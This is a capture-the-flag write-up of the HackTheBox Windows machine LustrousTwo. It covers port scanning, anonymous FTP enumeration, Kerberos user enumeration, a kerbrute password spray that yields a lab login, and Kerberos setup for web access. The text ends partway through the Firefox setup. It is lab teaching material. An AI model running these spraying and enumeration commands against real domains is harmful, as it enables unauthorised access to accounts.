LustrousTwo

LustrousTwo starts with a website that requires Kerberos authentication. I’ll get on an open FTP server and find a list of usernames, which I can spray to get initial authentication on the domain. That auth provides access to the site, and a directory traversal file read which I’ll abuse to find the source DLL for the website. With a bit of .NET reversing, I’ll find users that have extra access, and get a service ticket impersonating them. That access allows me to run commands on the host and get a shell. To escalate, I’ll find a Velociraptor server and it’s key material, allowing me to run commands as system on the host.

Box Info

Name LustrousTwo LustrousTwo
Play on HackTheBox
Release Date 31 Jul 2025
Retire Date 31 Jul 2025
OS Windows Windows
Base Points Hard [40]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creator xct

Recon

Initial Scanning

nmap finds 24 open TCP ports:

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-25 13:05 UTC
...[snip]...
Nmap scan report for 10.129.234.174
Host is up, received echo-reply ttl 127 (0.090s latency).
Scanned at 2025-07-25 13:05:28 UTC for 13s
Not shown: 65511 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
21/tcp    open  ftp              syn-ack ttl 127
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49669/tcp open  unknown          syn-ack ttl 127
50548/tcp open  unknown          syn-ack ttl 127
52026/tcp open  unknown          syn-ack ttl 127
52042/tcp open  unknown          syn-ack ttl 127
55358/tcp open  unknown          syn-ack ttl 127
55359/tcp open  unknown          syn-ack ttl 127
55373/tcp open  unknown          syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds
           Raw packets sent: 131053 (5.766MB) | Rcvd: 28 (1.216KB)
oxdf@hacky$ nmap -p 21,53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 -sCV 10.129.234.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-25 13:06 UTC
Nmap scan report for 10.129.234.174
Host is up (0.089s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 09-06-24  05:20AM       <DIR>          Development
| 04-14-25  04:44AM       <DIR>          Homes
| 08-31-24  01:57AM       <DIR>          HR
| 08-31-24  01:57AM       <DIR>          IT
| 04-14-25  04:44AM       <DIR>          ITSEC
| 08-31-24  01:58AM       <DIR>          Production
|_08-31-24  01:58AM       <DIR>          SEC
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Negotiate
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title.
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-25 13:06:59Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LUS2DC.Lustrous2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:LUS2DC.Lustrous2.vl
| Not valid before: 2025-07-25T12:48:36
|_Not valid after:  2026-07-25T12:48:36
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=LUS2DC.Lustrous2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:LUS2DC.Lustrous2.vl
| Not valid before: 2025-07-25T12:48:36
|_Not valid after:  2026-07-25T12:48:36
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LUS2DC.Lustrous2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:LUS2DC.Lustrous2.vl
| Not valid before: 2025-07-25T12:48:36
|_Not valid after:  2026-07-25T12:48:36
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LUS2DC.Lustrous2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:LUS2DC.Lustrous2.vl
| Not valid before: 2025-07-25T12:48:36
|_Not valid after:  2026-07-25T12:48:36
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-07-25T13:08:33+00:00; +7s from scanner time.
| ssl-cert: Subject: commonName=LUS2DC.Lustrous2.vl
| Not valid before: 2025-04-13T09:50:31
|_Not valid after:  2025-10-13T09:50:31
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: LUS2DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-07-25T13:07:50
|_  start_date: N/A
|_clock-skew: mean: 6s, deviation: 0s, median: 6s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.86 seconds

The box shows many of the ports associated with a Windows Domain Controller. The domain is Lustrous2.vl, and the hostname is LUS2DC. I’ll note the following ports as well:

  • FTP (21) is open and allow anonymous login.
  • Two remote access ports, WinRM (5985) and RDP (3389). If I get creds for users with permissions to use there, they will be useful.
  • HTTP (80), though based on the nmap results it looks like at least the root is returning 401 Unauthorized.

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:

oxdf@hacky$ netexec smb 10.129.234.174 --generate-hosts-file hosts
SMB         10.129.234.174  445    LUS2DC           [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:False) (NTLM:False)
oxdf@hacky$ cat hosts 
10.129.234.174     LUS2DC.Lustrous2.vl Lustrous2.vl LUS2DC
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts

nmap notes a clock skew, so I’ll want to make sure to run sudo ntpdate lus2dc.lustrous2.vl before any Kerberos auth.

Website - TCP 80

Site

Visiting the site by IP returns a 401:

image-20250725090857360

Visiting by hostname returns the same error.

Tech Stack

The HTTP response headers show IIS:

HTTP/1.1 401 Unauthorized
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate
X-Powered-By: ASP.NET
Date: Fri, 25 Jul 2025 13:20:41 GMT
Content-Length: 0

The 401 response error does not match the IIS styling for it’s default 404 page like I would expect, but it could still be IIS. However, while many pages like /0xdf still return 401, there are some I’ll find in the next section that return 404, and those do show the IIS 404:

image-20250725091350594

Directory Brute Force

I’ll run feroxbuster against the site to look for any additional paths:

oxdf@hacky$ feroxbuster -u http://10.129.234.174

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.234.174
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
401      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET       29l       95w     1245c http://10.129.234.174/bin
404      GET       29l       95w     1245c http://10.129.234.174/App_Code
404      GET       29l       95w     1245c http://10.129.234.174/App_Data
404      GET       29l       95w     1245c http://10.129.234.174/Bin
404      GET       29l       95w     1245c http://10.129.234.174/App_Browsers
404      GET       29l       95w     1245c http://10.129.234.174/app_code
404      GET       29l       95w     1245c http://10.129.234.174/app_data
404      GET       29l       95w     1245c http://10.129.234.174/app_browsers
404      GET       29l       95w     1245c http://10.129.234.174/App_code
404      GET       29l       95w     1245c http://10.129.234.174/BIN
404      GET       29l       95w     1245c http://10.129.234.174/app_Data
404      GET       29l       95w     1245c http://10.129.234.174/App_data
404      GET       29l       95w     1245c http://10.129.234.174/App_browsers
404      GET       29l       95w     1245c http://10.129.234.174/app_Browsers
400      GET        6l       26w      324c http://10.129.234.174/error%1F_log
[####################] - 55s    30002/30002   0s      found:15      errors:0
[####################] - 54s    30000/30000   554/s   http://10.129.234.174/  

Other than being able to verify the 404 page is default, nothing interesting at all.

SMB - TCP 445

I’ll try guest authentication, but it returns STATUS_NOT_SUPPORTED:

oxdf@hacky$ netexec smb 10.129.234.174 -u guest -p ''
SMB         10.129.234.174  445    LUS2DC           [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.234.174  445    LUS2DC           [-] Lustrous2.vl\guest: STATUS_NOT_SUPPORTED 

It also says at the end of the line NTLM:False. These both indicate that NTLM authentication is not allowed. Trying with Kerberos fails as well:

oxdf@hacky$ netexec smb 10.129.234.174 -u guest -p '' -k
SMB         10.129.234.174  445    LUS2DC           [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.234.174  445    LUS2DC           [-] Lustrous2.vl\guest: KDC_ERR_ETYPE_NOSUPP

There’s no point in trying dummy names with Kerberos as that will just fail.

FTP - TCP 21

As nmap identified, using the username anonymous with an empty password allows access to the FTP server:

oxdf@hacky$ ftp anonymous@lus2dc.lustrous2.vl
Connected to LUS2DC.Lustrous2.vl.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> 

There are several directories:

ftp> ls
229 Entering Extended Passive Mode (|||50679|)
150 Opening ASCII mode data connection.
09-06-24  05:20AM       <DIR>          Development
04-14-25  04:44AM       <DIR>          Homes
08-31-24  01:57AM       <DIR>          HR
08-31-24  01:57AM       <DIR>          IT
04-14-25  04:44AM       <DIR>          ITSEC
08-31-24  01:58AM       <DIR>          Production
08-31-24  01:58AM       <DIR>          SEC
226 Transfer complete.

Five of the seven directories (Development, HR, IT, Production, and SEC) show as empty. They could be empty, or the anonymous user just can list them.

ITSEC has a single document which I’ll download:

ftp> cd ITSEC
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50707|)
125 Data connection already open; Transfer starting.
09-07-24  03:50AM                  207 audit_draft.txt
226 Transfer complete.
ftp> get audit_draft.txt
local: audit_draft.txt remote: audit_draft.txt
229 Entering Extended Passive Mode (|||50712|)
125 Data connection already open; Transfer starting.
100% |*************************************************************************|   207        2.27 KiB/s    00:00 ETA
226 Transfer complete.
207 bytes received in 00:00 (2.26 KiB/s)

The file has a todo list of security things:

Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords

I’ll keep the weak passwords hint in mind.

The Homes directory has a bunch of users:

ftp> ls
229 Entering Extended Passive Mode (|||50716|)
125 Data connection already open; Transfer starting.
09-07-24  12:03AM       <DIR>          Aaron.Norman
09-07-24  12:03AM       <DIR>          Adam.Barnes
09-07-24  12:03AM       <DIR>          Amber.Ward
09-07-24  12:03AM       <DIR>          Andrea.Smith
09-07-24  12:03AM       <DIR>          Ann.Lynch
09-07-24  12:03AM       <DIR>          Callum.Oliver
09-07-24  12:03AM       <DIR>          Carly.Walker
09-07-24  12:03AM       <DIR>          Chelsea.Smith
09-07-24  12:03AM       <DIR>          Chloe.Hammond
09-07-24  12:03AM       <DIR>          Christopher.Lawson
09-07-24  12:03AM       <DIR>          Claire.Parry
09-07-24  12:03AM       <DIR>          Darren.Lewis
09-07-24  12:03AM       <DIR>          Deborah.Jones
09-07-24  12:03AM       <DIR>          Dominic.West
09-07-24  12:03AM       <DIR>          Duncan.Smith
09-07-24  12:03AM       <DIR>          Elaine.Gallagher
09-07-24  12:03AM       <DIR>          Eleanor.Gregory
09-07-24  12:03AM       <DIR>          Emma.Bell
09-07-24  12:03AM       <DIR>          Francesca.Norman
09-07-24  12:03AM       <DIR>          Gary.Richards
09-07-24  12:03AM       <DIR>          Gerard.Ward
09-07-24  12:03AM       <DIR>          Glenn.Williams
09-07-24  12:03AM       <DIR>          Graeme.Pritchard
09-07-24  12:03AM       <DIR>          Harriet.Richardson
09-07-24  12:03AM       <DIR>          Henry.Connor
09-07-24  12:03AM       <DIR>          Howard.Robinson
09-07-24  12:03AM       <DIR>          Jacqueline.Phillips
09-07-24  12:03AM       <DIR>          Janice.Collier
09-07-24  12:03AM       <DIR>          Jasmine.Johnson
09-07-24  12:03AM       <DIR>          Joan.Wall
09-07-24  12:03AM       <DIR>          Judith.Francis
09-07-24  12:03AM       <DIR>          Justin.Williams
09-07-24  12:03AM       <DIR>          Kyle.Hussain
09-07-24  12:03AM       <DIR>          Kyle.Lloyd
09-07-24  12:03AM       <DIR>          Lawrence.Bryan
09-07-24  12:03AM       <DIR>          Leah.Elliott
09-07-24  12:03AM       <DIR>          Lewis.Khan
09-07-24  12:03AM       <DIR>          Liam.Wheeler
09-07-24  12:03AM       <DIR>          Lisa.Begum
09-07-24  12:03AM       <DIR>          Louis.Phillips
09-07-24  12:03AM       <DIR>          Lydia.Parker
09-07-24  12:03AM       <DIR>          Malcolm.Yates
09-07-24  12:03AM       <DIR>          Marie.Hill
09-07-24  12:03AM       <DIR>          Martin.Hamilton
09-07-24  12:03AM       <DIR>          Mathew.Roberts
09-07-24  12:03AM       <DIR>          Melissa.Thompson
09-07-24  12:03AM       <DIR>          Nathan.Carter
09-07-24  12:03AM       <DIR>          Nicola.Clarke
09-07-24  12:03AM       <DIR>          Nicola.Hall
09-07-24  12:03AM       <DIR>          Nigel.Lee
09-07-24  12:03AM       <DIR>          Pamela.Taylor
09-07-24  12:03AM       <DIR>          Robert.Russell
09-07-24  12:03AM       <DIR>          Ryan.Davies
09-07-24  12:03AM       <DIR>          Ryan.Moore
09-07-24  12:03AM       <DIR>          Ryan.Rowe
09-07-24  12:03AM       <DIR>          Samantha.Smith
09-07-24  12:03AM       <DIR>          Sara.Matthews
09-07-24  12:03AM       <DIR>          ShareSvc
09-07-24  12:03AM       <DIR>          Sharon.Birch
09-07-24  12:03AM       <DIR>          Sharon.Evans
09-07-24  12:03AM       <DIR>          Stacey.Barber
09-07-24  12:03AM       <DIR>          Stacey.Griffiths
09-07-24  12:03AM       <DIR>          Stephanie.Baxter
09-07-24  12:03AM       <DIR>          Stephanie.Davies
09-07-24  12:03AM       <DIR>          Steven.Sutton
09-07-24  12:03AM       <DIR>          Susan.Johnson
09-07-24  12:03AM       <DIR>          Terence.Jordan
09-07-24  12:03AM       <DIR>          Thomas.Myers
09-07-24  12:03AM       <DIR>          Tony.Davies
09-07-24  12:03AM       <DIR>          Victoria.Williams
09-07-24  12:03AM       <DIR>          Wayne.Taylor
226 Transfer complete.

I’m not able to list files in any of them, but it does provide a list of potential usernames.

Kerberos - TCP 88

I’ll use Kerberos with the list of usernames from FTP to validate if these are legit users on the domain:

oxdf@hacky$ kerbrute userenum -d lustrous2.vl --dc lus2dc.lustrous2.vl users

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 07/25/25 - Ronnie Flathers @ropnop

2025/07/25 14:03:24 >  Using KDC(s):
2025/07/25 14:03:24 >   lus2dc.lustrous2.vl:88
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Chloe.Hammond@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Adam.Barnes@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Andrea.Smith@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Carly.Walker@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Aaron.Norman@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Callum.Oliver@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Chelsea.Smith@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Ann.Lynch@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Christopher.Lawson@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Amber.Ward@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Claire.Parry@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Darren.Lewis@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Dominic.West@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Duncan.Smith@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Elaine.Gallagher@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Deborah.Jones@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Francesca.Norman@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Emma.Bell@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Eleanor.Gregory@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Gary.Richards@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Gerard.Ward@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Henry.Connor@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Graeme.Pritchard@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Harriet.Richardson@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Glenn.Williams@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Howard.Robinson@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Janice.Collier@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Jacqueline.Phillips@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Jasmine.Johnson@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Joan.Wall@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Judith.Francis@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Kyle.Hussain@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Kyle.Lloyd@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Justin.Williams@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Leah.Elliott@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Lawrence.Bryan@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Lewis.Khan@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Liam.Wheeler@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Lisa.Begum@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Louis.Phillips@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Lydia.Parker@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Martin.Hamilton@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Marie.Hill@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Malcolm.Yates@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Mathew.Roberts@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Nathan.Carter@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Melissa.Thompson@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Nicola.Hall@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Nicola.Clarke@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Nigel.Lee@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Ryan.Davies@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Robert.Russell@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Pamela.Taylor@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Ryan.Moore@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Sara.Matthews@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Samantha.Smith@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Ryan.Rowe@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       ShareSvc@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Sharon.Birch@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Sharon.Evans@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Stacey.Griffiths@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Stephanie.Baxter@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Stacey.Barber@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Steven.Sutton@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Susan.Johnson@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Stephanie.Davies@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Terence.Jordan@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Thomas.Myers@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Tony.Davies@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Victoria.Williams@lustrous2.vl
2025/07/25 14:03:24 >  [+] VALID USERNAME:       Wayne.Taylor@lustrous2.vl
2025/07/25 14:03:24 >  Done! Tested 71 usernames (71 valid) in 0.722 seconds

All 71 are valid!

Auth as ShareSvc

Password Spray

This step requires a bit of guess work. Luckily, kerbrute can check all 71 users in very short time, around 1.5 seconds per password over my connection. Doing the same spray with netexec takes 43 seconds per password.

I’ll try common passwords like “Lustrous”, “Lustrous2”, “password”, etc. This box would be stronger in my opinion with a bit more information on where to guess here, but eventually trying “Lustrous2024” gets a hit:

oxdf@hacky$ kerbrute passwordspray -d lustrous2.vl --dc lus2dc.lustrous2.vl users Lustrous2024

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 07/25/25 - Ronnie Flathers @ropnop

2025/07/25 14:30:10 >  Using KDC(s):
2025/07/25 14:30:10 >   lus2dc.lustrous2.vl:88

2025/07/25 14:30:12 >  [+] VALID LOGIN:  Thomas.Myers@lustrous2.vl:Lustrous2024
2025/07/25 14:30:12 >  Done! Tested 71 logins (1 successes) in 1.621 seconds

It turns out that “Lustrous2!”, “Start123!”, and “Sommer2024” will also find users.

Bloodhound

I couldn’t get netexec or rusthound-ce to collect BloodHound here. I am able to get BloodHound.py to work using the --ldap-channel-binding flag. This will also throw an error saying that I need to install an LDAP module:

Exception: To use LDAP channel binding, install the patched ldap3 module: pip3 install git+https://github.com/ly4k/ldap3 or pip3 install ldap3-bleeding-edge

Because I’ve installed with uv tool, I’ll just run the following to reinstall it with that additional package in the virtual environment:

oxdf@hacky$ uv tool install git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce --with ldap3-bleeding-edge
Resolved 24 packages in 553ms
Installed 1 package in 16ms
 + ldap3-bleeding-edge==2.10.1.1338
Installed 1 executable: bloodhound-ce-python

Now I can collect:

oxdf@hacky$ bloodhound-ce-python -u thomas.myers -no-pass -k -d lustrous2.vl -ns 10.129.234.174 --ldap-channel-binding -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: lustrous2.vl
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: lus2dc.lustrous2.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 4 computers
INFO: Connecting to LDAP server: lus2dc.lustrous2.vl
INFO: Found 75 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: LUS2DC.Lustrous2.vl
INFO: Done in 00M 17S
INFO: Compressing output into 20250725200142_bloodhound.zip

I’ll start the BloodHound CE Docker and upload this data. I’ll mark thomas.myers as owned, but nothing interesting jumps out from here.

Website Access

Setup Kerberos

I’ll configure Kerberos authentication for my machine. I’ll need to have it installed (sudo apt install krb5-user krb5-config), and then I can generate a config file with netexec:

oxdf@hacky$ netexec smb lus2dc.lustrous2.vl --generate-krb5-file krb5.conf
SMB         10.129.234.174  445    LUS2DC           [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:False) (NTLM:False)
oxdf@hacky$ cat krb5.conf 

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = LUSTROUS2.VL

[realms]
    LUSTROUS2.VL = {
        kdc = lus2dc.Lustrous2.vl
        admin_server = lus2dc.Lustrous2.vl
        default_domain = Lustrous2.vl
    }

[domain_realm]
    .Lustrous2.vl = LUSTROUS2.VL
    Lustrous2.vl = LUSTROUS2.VL
oxdf@hacky$ sudo cp krb5.conf /etc/krb5.conf

Now I can log in using kinit:

oxdf@hacky$ kinit thomas.myers
Password for thomas.myers@LUSTROUS2.VL: 
oxdf@hacky$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: thomas.myers@LUSTROUS2.VL

Valid starting       Expires              Service principal
07/25/2025 15:11:43  07/26/2025 01:11:43  krbtgt/LUSTROUS2.VL@LUSTROUS2.VL
        renew until 07/26/2025 15:11:39

curl

The easiest way to check if Kerberos authentication can be used to access the website is with curl with the following options:

  • -I - Just sent a HEAD request to check if it works.
  • --negotiate - Use authentication. To use Kerberos, it will use the current ticket (at /tmp/krb5cc_1000) to get a service ticket for HTTP/lus2dc.lustrous2.vl, and convert that to a token to send in the Authentication header.
  • -u : - Sets the username and password to empty, which indicates to use the system authentication, the Kerberos ticket.

It works:

oxdf@hacky$ curl -I --negotiate -u : http://lus2dc.lustrous2.vl
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate oYG3MIG0oAMKAQChCwYJKoZIhvcSAQICooGfBIGcYIGZBgkqhkiG9xIBAgICAG+BiTCBhqADAgEFoQMCAQ+iejB4oAMCARKicQRv+KiRAGqQoVd+LOi8mSUjuOArSh2tjAuRDkShSzRqcwJfZIP5o4ovwhUUQgPVx/U79AWQB4qo9+tJW7Pt685qrgPjNCuMA2Ar0bCk4alaC68m4j9WGmaMZxHkVyxbxWK7O9/Md0XudhZAsg7UvHN1
Persistent-Auth: true
X-Powered-By: ASP.NET
Date: Fri, 25 Jul 2025 15:12:09 GMT

The response is 200 OK! Without auth, it returns 401.

Firefox

Getting Firefox to authenticate with Kerberos was a bit of a trick! First, in about:config, I’ll add .lustrous2.vl to network.negotiate-auth.trusted-uris, and make sure network.negotiate-auth.using-native-gsslib is set to true:

image-20250725113705649

In general, this should be enough, but if Firefox is installed with snap (which it is on Ubuntu and even the apt install methods are just wrappers around snap), then it won’t be able to access the Kerberos ticket in the default location, /tmp/krb5cc_1000 and will just continue to show 401.

This comment in the Mozilla bug forum shows a workaround - setting the ticket location to somewhere that snap can read. I’ll update my config to add that line:

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = LUSTROUS2.VL
